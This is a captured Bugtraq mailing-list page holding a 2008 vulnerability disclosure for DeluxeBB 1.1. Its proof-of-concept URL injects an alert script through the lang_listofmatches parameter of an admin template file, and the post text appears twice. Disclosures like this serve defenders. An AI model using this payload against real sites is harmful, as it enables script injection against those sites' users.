Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
BugTraq
Back to list
|
Post reply
DeluxeBB 1.1 XSS Vulnerabilitie
Jan 22 2008 05:07PM
nbbn gmx net
########################################################
#Founded: 21, January 2008
#Autor: NBBN
#Type: XSS
#DeluxeBB Version: 1.1
#Register Globals: ON
#Magic Quotes; OFF
########################################################
poc:
http://www.site.tld/path/templates/default/admincp/attachments_header.ph
p?lang_listofmatches=<script>alert("XSS")</script>
[ reply ]
Privacy Statement
Copyright 2009, SecurityFocus
#Founded: 21, January 2008
#Autor: NBBN
#Type: XSS
#DeluxeBB Version: 1.1
#Register Globals: ON
#Magic Quotes; OFF
########################################################
poc:
http://www.site.tld/path/templates/default/admincp/attachments_header.ph
p?lang_listofmatches=<script>alert("XSS")</script>
[ reply ]